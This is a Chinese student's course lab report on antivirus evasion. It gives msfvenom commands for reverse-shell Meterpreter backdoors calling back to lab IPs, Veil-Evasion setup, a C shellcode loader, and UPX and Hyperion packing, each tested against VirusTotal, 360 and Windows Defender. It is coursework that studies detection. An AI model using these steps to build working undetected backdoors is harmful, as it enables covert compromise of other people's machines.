2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
课上知识点总结
1.恶意软件检测机制
基于特征码的检测（需要定期更新病毒库）
启发式恶意软件检测（实时监控，开销较大）
基于行为的恶意软件检测（如API监控）
2.免杀技术综述
改变特征码
加壳（拥有.exe文件）
压缩壳
加密壳
shellcode+encoder
重写重编译（veil-evasion或者手工）
半手工化（主流）
改变行为
通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据（如https）
操作系统
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
Exp3.1 能够正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，使用shellcode编程。
3.1.1正确使用msf编码器并使用msfvenom生成文件
实验思路：msf在上次实验生成后门程序中已经使用过，所以在此实验中我进一步了解了msf各个参数的作用，以及加入了使用VirusTotal、Virscan进行检测。
msf中的使用的参数（参考博客）
-p指定需要使用的payload(攻击载荷)
查看msf可用的payload列表:msfvenom -l payload
msfvenom生成各类Payload命令（详见博客）这个对之后的实验有帮助
-f指定payload的输出格式
产看msf支持的输出格式:msfvenom --list formats
-e指定需要使用的encoder（编码器）
查看可用的编码器:msfvenom -l encoder
-b生成的文件中不存在-b之后指定的内容
-i num指定编码器迭代的次数
利用msf生成.exe文件并进行测试
生成.exe文件
msfvenom -p windows/meterpreter/reverse_tcp HOST = 192.168.43.85 PORT = 5312 -f exe > backdoor.exe
利用VirusTotal进行测试
由图可知，在69个软件中有50个软件报错，比例还是很高的。下面的步骤中加入编译器和迭代的思想。
测试是否可以在windows下实现免杀，显然是不行的
利用msf生成.jar文件并进行测试
生成.jar文件：
msfvenom -p java/meterpreter/reverse_tcp -e x86/opt_sub -i 4 HOST = 10.1.1.154 PORT = 5312 -f jar > backdoor.jar //使用x86/opt_sub编译器并迭代4次
利用VirusTotal进行测试
使用编译器和迭代的效果不是很大。
测试是否可以在windows下实现免杀,竟然可以（震惊.jpg）
利用msf生成.py文件并进行测试
生成.py文件：
msfvenom -p cmd/unix/reverse_python HOST = 10.1.1.154 PORT = 5312 -f raw > backdoor.py
利用VirusTotal进行测试
测试是否可以在windows下实现免杀,和我预测一样
3.1.2使用veil-Evasion生成后门程序及检测
安装Veil-Evasion(参考博客)
说来话长，我的kail是2018的镜像，安装过程十分的顺利and超级快，但是它就是不能生成文件./update压根没有用，所以我就拷贝了同学的2019镜像（她也是用这种方法安装的，所以这个方法还是有效的，仅供参考）
安装git:sudo apt-get -y install git
下载Veil-Evasion:git clone https://github.com/Veil-Framework/Veil-Evasion.git
把Veil-Evasion移动到opt(随你选择)目录下:mv Veil-Evasion /opt
进入Veil-Evasion所在目录：cd /opt/Veil-Evasion/
启动bash脚本进行安装：bash setup/setup.sh -s
启动Veil-Evasion:进入/opt/Veil-Evasion 运行./Veil-Evasion.py
用c重写meterperter
use显示所有的Available Payloads
选择4:c/meterpreter/rev_http进入配置界面
设置反弹连接IP：set LHOST 10.1.1.154
设置反弹端口：set LPORT 5312
显示当前信息：info
生成文件generate并输入指定的名称
利用VirusTotal进行测试
测试是否可以在windows下实现免杀
3.1.3利用shellcode编程
使用msf生成一段c语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp HOST=10.1.1.154 PORT=5312 -f c
创建20165312-Exp3-1-3.c文件，将shellcode转化为函数进行调用
此处为shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
交叉编译：i686-w64-mingw32-g++ 20165312-Exp3-1-3.c -o 20165312-Exp3-1-3.exe
利用VirusTotal进行测试
使用ncat将kail下20165312-Exp3-1-3.exe文件
传送给windows并尝试回连（开启windows defender开启状态下）
windows:ncat.exe -l -p 5312 > 20165312-Exp3-1-3.exe
linux:nc 10.1.1.151 5312 < 20165312-Exp3-1-3.exe
结果smile
在刚才生成shellcode的基础上我又加了编译器和迭代进行了又一次的尝试，首先生成新的shellcode：msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.1.1.154 LPORT=5312 -f c后面的步骤就是重复了，不啰嗦了。
利用VirusTotal进行测试，就比刚才少了一点
再测试下windows下，结果恩。。。
3.1.4加壳工具
压缩壳（以UPX为例）
对已经生成的20165312-Exp3-1-3.exe进行压缩：upx 20165312-Exp3-1-3.exe -o 20165312-upxed1.exe
利用VirusTotal进行测试
测试下在windows下，smile again
加密壳（以Hyperion为例）
将已经生成的20165312-upxed1.exe复制到/usr/share/windows-binaries/hyperion
进入/usr/share/windows-binaries/hyperion
进行加壳：wine hyperion.exe -v 20165312-upxed1.exe 20165312-upxed-Hyperion.exe
利用VirusTotal进行测试
在windows下进行测试（终于不用smile）
Exp3.2通过组合应用各种技术实现恶意代码免杀
实际上在上一步加密壳的操作中已经实现了免杀，即采用c语言调用shellcode+压缩壳+加密壳的方式。但是这种方法我没有实现回连，实际上我又试了c语言调用shellcode+加密壳的方式，也是无法实现回连的。and我发现加壳之后，检测出来有问题的软件个数变多。所以加壳未尝是一个很好的方法。所以我在实验过程中尝试了c调用shellcode和c调用shellcode+压缩壳的方式，都可以实现免杀+回连。但是我认为这种免杀只是暂时性的。
回连成功
免杀成功
Exp3.3用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
注：exp3.2与3.3方法相同，只不过换网络了，就使用相同方法生成了。
电脑系统：Windows 7
杀软名称：360安全卫士（11.5.0.2002）
回连成功
实验总结与体会
实验感想
在检测恶意代码是否能在windows下实现免杀时，除了检测了电脑管家，我还检测了Windows Defender。不得不说电脑管家很大程度上是不管用的，但是Windows Defender也太强了吧。
backdoor.py通过VirusTotal检测为只有一个软件可以检测出来，但是Windows Defender也是秒杀。至于实现免杀我目前只能做到电脑管家免杀，但是Windows Defender还不行，如果有哪位dalao会了请教教我！
杀软是如何检测出恶意代码的？
基于特征码
实时监控
基于行为的恶意软件检测
免杀是做什么？
可以实现杀毒软件不发现、扫描不出病毒代码。
免杀的基本方法有哪些
改变特征码
加壳
shellcode+encoder
veil-evasion
半手工化
改变行为
通讯方式尽量使用反弹式连接
使用隧道技术
加密通讯数据
操作系统
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
开启杀软能绝对防止电脑中恶意代码吗
通过做实验实现了免杀，显然杀软不能绝对防止恶意代码
实验中遇到的问题及解决方案
经常出现回连不成功的现象，特别是加密壳，我觉得大概是个玄学。（没错我还没有解决这个问题）
emmm诚实的说，我做实验的时候成功的案例，过了几个小时之后，就不能免杀了。。然后的话我就换了shellcode,又重新做了一遍，可以实现免杀，电脑管家更新病毒库还是可以的吧？
至今不知道在无360、电脑管家巴拉巴拉一堆杀软的情况下，如何在windows defender下实现杀软（毕竟我试了，这一切实验对于windows defender都是渣渣。。）
